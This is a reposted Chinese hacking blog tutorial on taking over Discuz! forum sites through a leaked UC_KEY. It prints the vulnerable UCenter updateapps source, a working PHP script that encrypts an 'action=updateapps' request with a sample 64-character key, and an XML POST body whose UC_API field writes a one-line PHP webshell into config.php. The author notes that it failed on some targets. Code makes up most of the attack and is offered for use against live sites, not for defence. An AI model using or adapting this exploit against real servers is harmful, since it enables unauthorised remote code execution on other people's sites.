DZ论坛系统 UC_KEY拿webshell

简介:

关于DZ后台拿shell,很多同志都很苦恼是把,,不过最近外面看到一篇文章,应该 才出来的把,,这里给大家发出来把,。。

转载者:littleli

我们只要得到UC_KEY,提交数据就可以修改配置文件来得到Webshell,而UC_KEY是保存在UCENTER中,一般的管理员配置的时候都使用同一权限配置。
我们有一个注射,如此,这般……大笑三声,哈,哈,哈。

 


直接读取数据库uc_applications下的authkey即为UC_KEY。长度为64位。
再接着是post数据的提交。最后的格式为:替换成你的一句话Shell,如图11即可。

先生成需要的code

$get = $post = array();

        $code = @$_GET['code'];

        parse_str(authcode($code, 'DECODE', UC_KEY), $get);//需要UC_KEY进行解密

        if(MAGIC_QUOTES_GPC) {

                $get = sstripslashes($get);

        }

        if($_SGLOBAL['timestamp'] - $get['time'] > 3600) {//判断提交的时间

                exit('Authracation has expiried');

        }

        if(empty($get)) {

                exit('Invalid Request');

        }

        include_once S_ROOT.'./uc_client/lib/xml.class.php';

        //我们提交的数据和需要调用的函数,主要看updateapps

        $post = xml_unserialize(file_get_contents('php://input'));

        if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings', 'addfeed'))) {

        $uc_note = new uc_note();

        echo $uc_note->$get['action']($get, $post);

        exit();

        } else {

                exit(API_RETURN_FAILED);

        }

        //……

        function updateapps($get, $post) {

                global $_SGLOBAL;

                if(!API_UPDATEAPPS) {

                        return API_RETURN_FORBIDDEN;

                }

                $UC_API = '';

                if($post['UC_API']) {

                        $UC_API = $post['UC_API'];

                        unset($post['UC_API']);

                }

                $cachefile = S_ROOT.'./uc_client/data/cache/apps.php';

                $fp = fopen($cachefile, 'w');

                $s = "<?php\r\n";

                $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";

                fwrite($fp, $s);

                fclose($fp);

                //配置文件

                if($UC_API && is_writeable(S_ROOT.'./config.php')) {

                        $configfile = trim(file_get_contents(S_ROOT.'./config.php'));

                        $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;

                        $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '$UC_API');", $configfile);

                        if($fp = @fopen(S_ROOT.'./config.php', 'w')) {

                                @fwrite($fp, trim($configfile));

                                @fclose($fp);

                        }

                }

                return API_RETURN_SUCCEED;

        }
<?php

//这里为注射得到的UC_KEY

define('UC_KEY', '88V7m5VeF1Da9978a8ben5f1t317ldv78aPfWeP2D608h44e3ej1Xbt9m6mbl3L9');

//这里为时间和需要调用的函数,时间写大一些,避免不必要的错误。

$code='time=1391966342&action=updateapps';

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

        $ckey_length = 4;

        $key = md5($key ? $key : $GLOBALS['discuz_auth_key']);

        $keya = md5(substr($key, 0, 16));

        $keyb = md5(substr($key, 16, 16));

        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

        $cryptkey = $keya.md5($keya.$keyc);

        $key_length = strlen($cryptkey);

        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

        $string_length = strlen($string);

        $result = '';

        $box = range(0, 255);

        $rndkey = array();

        for($i = 0; $i <= 255; $i++) {

                $rndkey[$i] = ord($cryptkey[$i % $key_length]);

        }

        for($j = $i = 0; $i < 256; $i++) {

                $j = ($j + $box[$i] + $rndkey[$i]) % 256;

                $tmp = $box[$i];

                $box[$i] = $box[$j];

                $box[$j] = $tmp;

        }

        for($a = $j = $i = 0; $i < $string_length; $i++) {

                $a = ($a + 1) % 256;

                $j = ($j + $box[$a]) % 256;

                $tmp = $box[$a];

                $box[$a] = $box[$j];

                $box[$j] = $tmp;

                $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

        }

        if($operation == 'DECODE') {

                if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

                        return substr($result, 26);

                } else {

                        return '';

                }

        } else {

                return $keyc.str_replace('=', '', base64_encode($result));

        }

}

//这里为最后生成的$code

print_r(authcode($code, 'ENCODE', UC_KEY));

?>
<?php

include_once './uc_client/lib/xml.class.php';

$a=array("UC_API"=>"exploit code");

print_r(xml_serialize($a));

?>
<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

 <item id="UC_API">exploit code</item>

</root>

到这里哥总算有了个满意的效果,果断上网测试,但是从目标站里跑出的UC_KEY长度为124并不能成功。
测试了几个网站,发现个别网站数据库key长度为124时,config.php文件里的key为64位。
你丫不按常理出牌啊。

哥对天一叹,或许哥只能存在于传说之中。(不是转载者说的 – -。。。)

——————

作者:火枪手

















本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/489717,如需转载请自行联系原作者

相关文章
|
7月前
【验证小bai】利用verdi让所有环境force现身
【验证小bai】利用verdi让所有环境force现身
|
安全 搜索推荐 网络安全
使用Discuz! X3.5 自带参数防御CC攻击以及原理,修改Discuz X 3.5 开启防CC攻击后,不影响搜索引擎收录的方法
使用Discuz! X3.5 自带参数防御CC攻击以及原理,修改Discuz X 3.5 开启防CC攻击后,不影响搜索引擎收录的方法
436 0
|
安全 网络协议 Shell
【靶机】holo-AD域渗透&web_lab-外网渗透-内网渗透
视频教程: 【【靶机】holo-AD域渗透&web_lab(1)-外网渗透-内网渗透】 https://www.bilibili.com/video/BV13G4y1j7xF/?share_source=copy_web&vd_source=21485fc93994c5f47b14e02ed42e0e49
919 0
|
安全 应用服务中间件 PHP
ctfshow-WEB AK赛-签到_观己
ctfshow-WEB AK赛-签到_观己 WP
130 0
ctfshow-WEB AK赛-签到_观己
|
存储 安全 NoSQL
[PWN][基础篇]如何利用printf漏洞突破canary保护
[PWN][基础篇]如何利用printf漏洞突破canary保护
236 0
[PWN][基础篇]如何利用printf漏洞突破canary保护
[PWN][补充篇]pwntools的相关知识
[PWN][补充篇]pwntools的相关知识
129 0
|
安全 数据库连接 数据库
Pikachu漏洞平台初始化不成功
Pikachu漏洞平台初始化不成功
525 0
Pikachu漏洞平台初始化不成功
|
SQL PHP 数据库
PHPCMS V9调用dz x1.5 论坛数据教程
摸索了个把月的V9,目前的功能大致了解了。建站前计划要整合DZ X1.5的,在论坛搜索方法已经实现了同步,但是对于论坛帖子调用还没有得到更多帮助,可能是因为太简单了,没有人去写,我就献丑整理一下吧。如果有用麻烦给我个顶,俺小学生需要鼓励。
1446 0
|
安全 PHP 索引
dz论坛Discuz_X3.4最新网站漏洞
近期我们sinesafe安全部门审计discuz最新版的时候发现配置文件写入导致代码执行的问题。cms安装的时候一般会分为几个步骤去进行,其中有对配置文件config进行写入的步骤,当写入的时候未严格限制传入的参数就存在代码执行问题。
3829 0